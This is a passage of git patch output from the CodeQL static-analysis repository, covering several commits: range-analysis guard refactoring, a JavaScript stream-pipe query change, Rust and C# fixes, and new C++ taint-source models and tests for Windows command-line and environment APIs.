+ * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. */ - predicate hasBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch); - } + predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch); - predicate implies_v2(Guard g1, boolean b1, Guard g2, boolean b2); + /** + * Holds if this guard evaluating to `branch` directly or indirectly controls + * the block `controlled`. That is, the evaluation of `controlled` is + * dominated by this guard evaluating to `branch`. + */ + predicate controls(BasicBlock controlled, boolean branch); + } class Type; @@ -670,19 +650,14 @@ module RangeStage< delta = D::fromFloat(D::toFloat(d1) + d2 + d3) ) or - exists(boolean testIsTrue0 | - Sem::implies_v2(result, testIsTrue, boundFlowCond(v, e, delta, upper, testIsTrue0), - testIsTrue0) - ) - or result = eqFlowCond(v, e, delta, true, testIsTrue) and (upper = true or upper = false) or - // guard that tests whether `v2` is bounded by `e + delta + d1 - d2` and - // exists a guard `guardEq` such that `v = v2 - d1 + d2`. + // guard that tests whether `v2` is bounded by `e + delta - d` and + // exists a guard `guardEq` such that `v = v2 + d`. exists(Sem::SsaVariable v2, D::Delta oldDelta, float d | // equality needs to control guard - result.getBasicBlock() = eqSsaCondDirectlyControls(v, v2, d) and + result.getBasicBlock() = eqSsaCondControls(v, v2, d) and result = boundFlowCond(v2, e, oldDelta, upper, testIsTrue) and delta = D::fromFloat(D::toFloat(oldDelta) + d) ) @@ -692,13 +667,11 @@ module RangeStage< * Gets a basic block in which `v1` equals `v2 + delta`. */ pragma[nomagic] - private Sem::BasicBlock eqSsaCondDirectlyControls( - Sem::SsaVariable v1, Sem::SsaVariable v2, float delta - ) { + private Sem::BasicBlock eqSsaCondControls(Sem::SsaVariable v1, Sem::SsaVariable v2, float delta) { exists(Sem::Guard guardEq, D::Delta d1, D::Delta d2, boolean eqIsTrue | guardEq = eqFlowCond(v1, ssaRead(v2, d1), d2, true, eqIsTrue) and delta = D::toFloat(d2) - D::toFloat(d1) and - guardEq.directlyControls(result, eqIsTrue) + guardEq.controls(result, eqIsTrue) ) } @@ -749,7 +722,7 @@ module RangeStage< exists(Sem::Guard guard, boolean testIsTrue | pos.hasReadOfVar(v) and guard = boundFlowCond(v, e, delta, upper, testIsTrue) and - guardDirectlyControlsSsaRead(guard, pos, testIsTrue) and + guardControlsSsaRead(guard, pos, testIsTrue) and reason = TSemCondReason(guard) ) } @@ -762,7 +735,7 @@ module RangeStage< exists(Sem::Guard guard, boolean testIsTrue | pos.hasReadOfVar(v) and guard = eqFlowCond(v, e, delta, false, testIsTrue) and - guardDirectlyControlsSsaRead(guard, pos, testIsTrue) and + guardControlsSsaRead(guard, pos, testIsTrue) and reason = TSemCondReason(guard) ) } diff --git a/shared/rangeanalysis/codeql/rangeanalysis/internal/RangeUtils.qll b/shared/rangeanalysis/codeql/rangeanalysis/internal/RangeUtils.qll index 05aef4805081..d6eeb781f391 100644 --- a/shared/rangeanalysis/codeql/rangeanalysis/internal/RangeUtils.qll +++ b/shared/rangeanalysis/codeql/rangeanalysis/internal/RangeUtils.qll @@ -52,10 +52,6 @@ module MakeUtils Lang, DeltaSig D> { (testIsTrue = true or testIsTrue = false) and eqpolarity.booleanXor(testIsTrue).booleanNot() = isEq ) - or - exists(boolean testIsTrue0 | - implies_v2(result, testIsTrue, eqFlowCond(v, e, delta, isEq, testIsTrue0), testIsTrue0) - ) } /** @@ -173,29 +169,17 @@ module MakeUtils Lang, DeltaSig D> { override string toString() { result = "edge" } } - /** - * Holds if `guard` directly controls the position `controlled` with the - * value `testIsTrue`. - */ - pragma[nomagic] - predicate guardDirectlyControlsSsaRead(Guard guard, SsaReadPosition controlled, boolean testIsTrue) { - guard.directlyControls(controlled.(SsaReadPositionBlock).getBlock(), testIsTrue) - or - exists(SsaReadPositionPhiInputEdge controlledEdge | controlledEdge = controlled | - guard.directlyControls(controlledEdge.getOrigBlock(), testIsTrue) or - guard.hasBranchEdge(controlledEdge.getOrigBlock(), controlledEdge.getPhiBlock(), testIsTrue) - ) - } - /** * Holds if `guard` controls the position `controlled` with the value `testIsTrue`. */ predicate guardControlsSsaRead(Guard guard, SsaReadPosition controlled, boolean testIsTrue) { - guardDirectlyControlsSsaRead(guard, controlled, testIsTrue) + guard.controls(controlled.(SsaReadPositionBlock).getBlock(), testIsTrue) or - exists(Guard guard0, boolean testIsTrue0 | - implies_v2(guard0, testIsTrue0, guard, testIsTrue) and - guardControlsSsaRead(guard0, controlled, testIsTrue0) + exists(SsaReadPositionPhiInputEdge controlledEdge | controlledEdge = controlled | + guard.controls(controlledEdge.getOrigBlock(), testIsTrue) or + guard + .controlsBranchEdge(controlledEdge.getOrigBlock(), controlledEdge.getPhiBlock(), + testIsTrue) ) } From 000e69fd487feff754d6dfce88733cef2b66e863 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Fri, 23 May 2025 13:55:40 +0200 Subject: [PATCH 366/535] Replaced fuzzy `NonNodeStream` MaD to a ql predicate to deal easier with submodules --- javascript/ql/lib/ext/arktype.model.yml | 6 ------ javascript/ql/lib/ext/execa.model.yml | 6 ------ javascript/ql/lib/ext/highland.model.yml | 6 ------ javascript/ql/lib/ext/rxjs.model.yml | 8 ------- javascript/ql/lib/ext/strapi.model.yml | 6 ------ .../ql/src/Quality/UnhandledStreamPipe.ql | 21 ++++++++++++++++++- .../UnhandledStreamPipe/rxjsStreams.js | 2 +- .../Quality/UnhandledStreamPipe/test.expected | 1 - 8 files changed, 21 insertions(+), 35 deletions(-) delete mode 100644 javascript/ql/lib/ext/arktype.model.yml delete mode 100644 javascript/ql/lib/ext/execa.model.yml delete mode 100644 javascript/ql/lib/ext/highland.model.yml delete mode 100644 javascript/ql/lib/ext/rxjs.model.yml delete mode 100644 javascript/ql/lib/ext/strapi.model.yml diff --git a/javascript/ql/lib/ext/arktype.model.yml b/javascript/ql/lib/ext/arktype.model.yml deleted file mode 100644 index 38cb8eb7de67..000000000000 --- a/javascript/ql/lib/ext/arktype.model.yml +++ /dev/null @@ -1,6 +0,0 @@ -extensions: - - addsTo: - pack: codeql/javascript-all - extensible: typeModel - data: - - ["NonNodeStream", "arktype", "Fuzzy"] diff --git a/javascript/ql/lib/ext/execa.model.yml b/javascript/ql/lib/ext/execa.model.yml deleted file mode 100644 index 1f05b575e99e..000000000000 --- a/javascript/ql/lib/ext/execa.model.yml +++ /dev/null @@ -1,6 +0,0 @@ -extensions: - - addsTo: - pack: codeql/javascript-all - extensible: typeModel - data: - - ["NonNodeStream", "execa", "Fuzzy"] diff --git a/javascript/ql/lib/ext/highland.model.yml b/javascript/ql/lib/ext/highland.model.yml deleted file mode 100644 index eb581bf63633..000000000000 --- a/javascript/ql/lib/ext/highland.model.yml +++ /dev/null @@ -1,6 +0,0 @@ -extensions: - - addsTo: - pack: codeql/javascript-all - extensible: typeModel - data: - - ["NonNodeStream", "highland", "Fuzzy"] diff --git a/javascript/ql/lib/ext/rxjs.model.yml b/javascript/ql/lib/ext/rxjs.model.yml deleted file mode 100644 index 0d1c26650a27..000000000000 --- a/javascript/ql/lib/ext/rxjs.model.yml +++ /dev/null @@ -1,8 +0,0 @@ -extensions: - - addsTo: - pack: codeql/javascript-all - extensible: typeModel - data: - - ["NonNodeStream", "rxjs", "Fuzzy"] - - ["NonNodeStream", "rxjs/operators", "Fuzzy"] - - ["NonNodeStream", "rxjs/testing", "Fuzzy"] diff --git a/javascript/ql/lib/ext/strapi.model.yml b/javascript/ql/lib/ext/strapi.model.yml deleted file mode 100644 index 9dbe753b31bd..000000000000 --- a/javascript/ql/lib/ext/strapi.model.yml +++ /dev/null @@ -1,6 +0,0 @@ -extensions: - - addsTo: - pack: codeql/javascript-all - extensible: typeModel - data: - - ["NonNodeStream", "@strapi/utils", "Fuzzy"] diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index d7a9868fcac3..1f9bf0b8d7a3 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -35,7 +35,26 @@ class PipeCall extends DataFlow::MethodCallNode { * This is used to exclude pipe calls on non-stream objects from analysis. */ DataFlow::Node getNonNodeJsStreamType() { - result = ModelOutput::getATypeNode("NonNodeStream").asSource() + result = getNonStreamApi().getAValueReachableFromSource() +} + +//highland, arktype execa +API::Node getNonStreamApi() { + exists(string moduleName | + moduleName + .regexpMatch([ + "rxjs(|/.*)", "@strapi(|/.*)", "highland(|/.*)", "execa(|/.*)", "arktype(|/.*)" + ]) and + result = API::moduleImport(moduleName) + ) + or + result = getNonStreamApi().getAMember() + or + result = getNonStreamApi().getAParameter().getAParameter() + or + result = getNonStreamApi().getReturn() + or + result = getNonStreamApi().getPromised() } /** diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js index 3bbd01ac930d..79373b49375b 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js @@ -16,5 +16,5 @@ function f(){ z(source.pipe(null)).toBe(expected,y,); }); - z.option$.pipe(pluck("x")) // $SPURIOUS:Alert + z.option$.pipe(pluck("x")) } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 6b267f502e30..dbbc751e7b41 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -1,4 +1,3 @@ -| rxjsStreams.js:19:3:19:28 | z.optio ... k("x")) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | From c8ff69af9ad5c9eeb8e45de633fb33c0c60f6fa2 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Fri, 23 May 2025 13:57:19 +0200 Subject: [PATCH 367/535] Rust: Fix bad join --- rust/ql/lib/codeql/rust/internal/PathResolution.qll | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index 6ca0b88814cb..8764869a152b 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -180,7 +180,8 @@ abstract class ItemNode extends Locatable { or preludeEdge(this, name, result) and not declares(this, _, name) or - builtinEdge(this, name, result) + this instanceof SourceFile and + builtin(name, result) or name = "super" and if this instanceof Module or this instanceof SourceFile @@ -1425,8 +1426,7 @@ private predicate preludeEdge(SourceFile f, string name, ItemNode i) { private import codeql.rust.frameworks.stdlib.Bultins as Builtins pragma[nomagic] -private predicate builtinEdge(SourceFile source, string name, ItemNode i) { - exists(source) and +private predicate builtin(string name, ItemNode i) { exists(SourceFileItemNode builtins | builtins.getFile().getParentContainer() instanceof Builtins::BuiltinsFolder and i = builtins.getASuccessorRec(name) From 5b21188e0df36afd3313aaf1ca4ec15a6d5d0b5f Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 23 May 2025 14:17:21 +0200 Subject: [PATCH 368/535] C#: Sync. --- csharp/ql/lib/semmle/code/csharp/dataflow/ModulusAnalysis.qll | 2 +- .../dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll | 2 -- 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/ModulusAnalysis.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/ModulusAnalysis.qll index 5b2a39ad6c9e..3e5a45da247d 100644 --- a/csharp/ql/lib/semmle/code/csharp/dataflow/ModulusAnalysis.qll +++ b/csharp/ql/lib/semmle/code/csharp/dataflow/ModulusAnalysis.qll @@ -17,7 +17,7 @@ private predicate valueFlowStepSsa(SsaVariable v, SsaReadPosition pos, Expr e, i exists(Guard guard, boolean testIsTrue | pos.hasReadOfVar(v) and guard = eqFlowCond(v, e, delta, true, testIsTrue) and - guardDirectlyControlsSsaRead(guard, pos, testIsTrue) + guardControlsSsaRead(guard, pos, testIsTrue) ) } diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll index 4a9c3cdbe6d5..c9c3a937ef9e 100644 --- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll +++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/ModulusAnalysisSpecific.qll @@ -32,8 +32,6 @@ module Private { class LeftShiftExpr = RU::ExprNode::LeftShiftExpr; - predicate guardDirectlyControlsSsaRead = RU::guardControlsSsaRead/3; - predicate guardControlsSsaRead = RU::guardControlsSsaRead/3; predicate valueFlowStep = RU::valueFlowStep/3; From 5c294617c5096066c4ebc2bf575a5e61ea6f13f9 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Fri, 23 May 2025 14:43:18 +0200 Subject: [PATCH 369/535] Rust: update a comment --- rust/extractor/src/translate/base.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index d1cec34242c9..a2f3101b75e7 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -333,7 +333,7 @@ impl<'a> Translator<'a> { ) { if self.macro_context_depth > 0 { // we are in an attribute macro, don't emit anything: we would be failing to expand any - // way as rust-analyser now only expands in the context of an expansion + // way as from version 0.0.274 rust-analyser only expands in the context of an expansion return; } if let Some(expanded) = self From b800040c73550d188ef76c898575c7331889d99a Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Fri, 23 May 2025 15:49:12 +0200 Subject: [PATCH 370/535] C++: Add tests for various local Windows dataflow sources --- .../dataflow/dataflow-tests/TestBase.qll | 4 +++ .../dataflow/dataflow-tests/winmain.cpp | 9 ++++++ .../dataflow/external-models/windows.cpp | 31 +++++++++++++++++++ 3 files changed, 44 insertions(+) create mode 100644 cpp/ql/test/library-tests/dataflow/dataflow-tests/winmain.cpp create mode 100644 cpp/ql/test/library-tests/dataflow/external-models/windows.cpp diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/TestBase.qll b/cpp/ql/test/library-tests/dataflow/dataflow-tests/TestBase.qll index b9213a71549f..e28d19133c75 100644 --- a/cpp/ql/test/library-tests/dataflow/dataflow-tests/TestBase.qll +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/TestBase.qll @@ -124,7 +124,11 @@ module IRTest { /** Common data flow configuration to be used by tests. */ module IRTestAllocationConfig implements DataFlow::ConfigSig { + private import semmle.code.cpp.security.FlowSources + predicate isSource(DataFlow::Node source) { + source instanceof FlowSource + or source.asExpr().(FunctionCall).getTarget().getName() = "source" or source.asIndirectExpr(1).(FunctionCall).getTarget().getName() = "indirect_source" diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/winmain.cpp b/cpp/ql/test/library-tests/dataflow/dataflow-tests/winmain.cpp new file mode 100644 index 000000000000..3db41088842f --- /dev/null +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/winmain.cpp @@ -0,0 +1,9 @@ +void sink(char); +void sink(char*); + +int WinMain(void *hInstance, void *hPrevInstance, char *pCmdLine, int nCmdShow) { // $ ast-def=hInstance ast-def=hPrevInstance ast-def=pCmdLine ir-def=*hInstance ir-def=*hPrevInstance ir-def=*pCmdLine + sink(pCmdLine); + sink(*pCmdLine); // $ MISSING: ir + + return 0; +} diff --git a/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp b/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp new file mode 100644 index 000000000000..33f496be0f01 --- /dev/null +++ b/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp @@ -0,0 +1,31 @@ +void sink(char); +void sink(char*); +void sink(char**); + +char* GetCommandLineA(); +char** CommandLineToArgvA(char*, int*); +char* GetEnvironmentStringsA(); +int GetEnvironmentVariableA(const char*, char*, int); + +void getCommandLine() { + char* cmd = GetCommandLineA(); + sink(cmd); + sink(*cmd); // $ MISSING: ir + + int argc; + char** argv = CommandLineToArgvA(cmd, &argc); + sink(argv); + sink(argv[1]); + sink(*argv[1]); // $ MISSING: ir +} + +void getEnvironment() { + char* env = GetEnvironmentStringsA(); + sink(env); + sink(*env); // $ MISSING: ir + + char buf[1024]; + GetEnvironmentVariableA("FOO", buf, sizeof(buf)); + sink(buf); + sink(*buf); // $ MISSING: ir +} From a77ddd7532e935720a9ccb9b38d30e7033b50d6a Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Thu, 22 May 2025 20:26:01 +0200 Subject: [PATCH 371/535] C++: Add Windows command line and environment models --- cpp/ql/lib/ext/Windows.model.yml | 20 +++++++++++++++++++ .../semmle/code/cpp/security/FlowSources.qll | 17 +++++++++++++++- 2 files changed, 36 insertions(+), 1 deletion(-) create mode 100644 cpp/ql/lib/ext/Windows.model.yml diff --git a/cpp/ql/lib/ext/Windows.model.yml b/cpp/ql/lib/ext/Windows.model.yml new file mode 100644 index 000000000000..acac5f5fbf87 --- /dev/null +++ b/cpp/ql/lib/ext/Windows.model.yml @@ -0,0 +1,20 @@ + # partial model of windows system calls +extensions: + - addsTo: + pack: codeql/cpp-all + extensible: sourceModel + data: # namespace, type, subtypes, name, signature, ext, output, kind, provenance + # processenv.h + - ["", "", False, "GetCommandLineA", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "GetCommandLineW", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "GetEnvironmentStringsA", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "GetEnvironmentStringsW", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "GetEnvironmentVariableA", "", "", "Argument[*1]", "local", "manual"] + - ["", "", False, "GetEnvironmentVariableW", "", "", "Argument[*1]", "local", "manual"] + - addsTo: + pack: codeql/cpp-all + extensible: summaryModel + data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance + # shellapi.h + - ["", "", False, "CommandLineToArgvA", "", "", "Argument[*0]", "ReturnValue[**]", "taint", "manual"] + - ["", "", False, "CommandLineToArgvW", "", "", "Argument[*0]", "ReturnValue[**]", "taint", "manual"] diff --git a/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll b/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll index b5e94d4c0463..eba6f9339ffe 100644 --- a/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll +++ b/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll @@ -55,7 +55,7 @@ private class LocalModelSource extends LocalFlowSource { } /** - * A local data flow source that the `argv` parameter to `main` or `wmain`. + * A local data flow source that is the `argv` parameter to `main` or `wmain`. */ private class ArgvSource extends LocalFlowSource { ArgvSource() { @@ -69,6 +69,21 @@ private class ArgvSource extends LocalFlowSource { override string getSourceType() { result = "a command-line argument" } } +/** + * A local data flow source that is the `pCmdLine` parameter to `WinMain` or `wWinMain`. + */ +private class CmdLineSource extends LocalFlowSource { + CmdLineSource() { + exists(Function main, Parameter pCmdLine | + main.hasGlobalName(["WinMain", "wWinMain"]) and + main.getParameter(2) = pCmdLine and + this.asParameter(1) = pCmdLine + ) + } + + override string getSourceType() { result = "a command-line" } +} + /** * A remote data flow source that is defined through 'models as data'. */ From fbc96152872182eb3d9af74c5f8737c542fbe8b0 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Fri, 23 May 2025 16:03:47 +0200 Subject: [PATCH 372/535] C++: Update expected test results --- .../dataflow-tests/test-source-sink.expected | 1 + .../dataflow/dataflow-tests/winmain.cpp | 2 +- .../dataflow/external-models/flow.expected | 50 ++++++++++++++----- .../dataflow/external-models/sources.expected | 3 ++ .../dataflow/external-models/steps.expected | 1 + .../dataflow/external-models/windows.cpp | 8 +-- 6 files changed, 48 insertions(+), 17 deletions(-) diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/test-source-sink.expected b/cpp/ql/test/library-tests/dataflow/dataflow-tests/test-source-sink.expected index fa141b614ea6..323ce2a43121 100644 --- a/cpp/ql/test/library-tests/dataflow/dataflow-tests/test-source-sink.expected +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/test-source-sink.expected @@ -337,3 +337,4 @@ irFlow | true_upon_entry.cpp:70:11:70:16 | call to source | true_upon_entry.cpp:78:8:78:8 | x | | true_upon_entry.cpp:83:11:83:16 | call to source | true_upon_entry.cpp:86:8:86:8 | x | | true_upon_entry.cpp:98:11:98:16 | call to source | true_upon_entry.cpp:105:8:105:8 | x | +| winmain.cpp:4:57:4:64 | *pCmdLine | winmain.cpp:6:8:6:16 | * ... | diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/winmain.cpp b/cpp/ql/test/library-tests/dataflow/dataflow-tests/winmain.cpp index 3db41088842f..3f267e1e81b2 100644 --- a/cpp/ql/test/library-tests/dataflow/dataflow-tests/winmain.cpp +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/winmain.cpp @@ -3,7 +3,7 @@ void sink(char*); int WinMain(void *hInstance, void *hPrevInstance, char *pCmdLine, int nCmdShow) { // $ ast-def=hInstance ast-def=hPrevInstance ast-def=pCmdLine ir-def=*hInstance ir-def=*hPrevInstance ir-def=*pCmdLine sink(pCmdLine); - sink(*pCmdLine); // $ MISSING: ir + sink(*pCmdLine); // $ ir return 0; } diff --git a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected index 2eb0844862d6..9992ca5a7213 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected @@ -10,33 +10,44 @@ edges | asio_streams.cpp:100:44:100:62 | call to buffer | asio_streams.cpp:103:29:103:39 | *send_buffer | provenance | Sink:MaD:6 | | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | provenance | | | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:100:44:100:62 | call to buffer | provenance | MaD:10 | -| test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | provenance | MaD:23489 | -| test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | provenance | MaD:23490 | -| test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | provenance | MaD:23491 | +| test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | provenance | MaD:23497 | +| test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | provenance | MaD:23498 | +| test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | provenance | MaD:23499 | | test.cpp:7:47:7:52 | value2 | test.cpp:7:64:7:69 | value2 | provenance | | | test.cpp:7:64:7:69 | value2 | test.cpp:7:5:7:30 | *ymlStepGenerated_with_body | provenance | | -| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:10:10:10:18 | call to ymlSource | provenance | Src:MaD:23487 | -| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:14:10:14:10 | x | provenance | Sink:MaD:23488 | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:10:10:10:18 | call to ymlSource | provenance | Src:MaD:23495 | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:14:10:14:10 | x | provenance | Sink:MaD:23496 | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:17:24:17:24 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:21:27:21:27 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:25:35:25:35 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:32:41:32:41 | x | provenance | | | test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | | -| test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:18:10:18:10 | y | provenance | Sink:MaD:23488 | +| test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:18:10:18:10 | y | provenance | Sink:MaD:23496 | | test.cpp:17:24:17:24 | x | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | provenance | | -| test.cpp:17:24:17:24 | x | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | MaD:23489 | +| test.cpp:17:24:17:24 | x | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | MaD:23497 | | test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | | -| test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:22:10:22:10 | z | provenance | Sink:MaD:23488 | +| test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:22:10:22:10 | z | provenance | Sink:MaD:23496 | | test.cpp:21:27:21:27 | x | test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | provenance | | -| test.cpp:21:27:21:27 | x | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | MaD:23490 | +| test.cpp:21:27:21:27 | x | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | MaD:23498 | | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | | -| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:26:10:26:11 | y2 | provenance | Sink:MaD:23488 | +| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:26:10:26:11 | y2 | provenance | Sink:MaD:23496 | | test.cpp:25:35:25:35 | x | test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | provenance | | -| test.cpp:25:35:25:35 | x | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | MaD:23491 | +| test.cpp:25:35:25:35 | x | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | MaD:23499 | | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | provenance | | -| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:33:10:33:11 | z2 | provenance | Sink:MaD:23488 | +| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:33:10:33:11 | z2 | provenance | Sink:MaD:23496 | | test.cpp:32:41:32:41 | x | test.cpp:7:47:7:52 | value2 | provenance | | | test.cpp:32:41:32:41 | x | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | provenance | | +| windows.cpp:6:8:6:25 | [summary param] *0 in CommandLineToArgvA | windows.cpp:6:8:6:25 | [summary] to write: ReturnValue[**] in CommandLineToArgvA | provenance | MaD:331 | +| windows.cpp:11:15:11:29 | *call to GetCommandLineA | windows.cpp:11:15:11:29 | *call to GetCommandLineA | provenance | Src:MaD:325 | +| windows.cpp:11:15:11:29 | *call to GetCommandLineA | windows.cpp:13:8:13:11 | * ... | provenance | | +| windows.cpp:11:15:11:29 | *call to GetCommandLineA | windows.cpp:16:36:16:38 | *cmd | provenance | | +| windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | provenance | | +| windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | windows.cpp:19:8:19:15 | * ... | provenance | | +| windows.cpp:16:36:16:38 | *cmd | windows.cpp:6:8:6:25 | [summary param] *0 in CommandLineToArgvA | provenance | | +| windows.cpp:16:36:16:38 | *cmd | windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | provenance | MaD:331 | +| windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | provenance | Src:MaD:327 | +| windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | windows.cpp:25:10:25:13 | * ... | provenance | | +| windows.cpp:28:36:28:38 | GetEnvironmentVariableA output argument | windows.cpp:30:10:30:13 | * ... | provenance | Src:MaD:329 | nodes | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | semmle.label | [summary param] *0 in buffer | | asio_streams.cpp:56:18:56:23 | [summary] to write: ReturnValue in buffer | semmle.label | [summary] to write: ReturnValue in buffer | @@ -78,9 +89,24 @@ nodes | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | semmle.label | call to ymlStepGenerated_with_body | | test.cpp:32:41:32:41 | x | semmle.label | x | | test.cpp:33:10:33:11 | z2 | semmle.label | z2 | +| windows.cpp:6:8:6:25 | [summary param] *0 in CommandLineToArgvA | semmle.label | [summary param] *0 in CommandLineToArgvA | +| 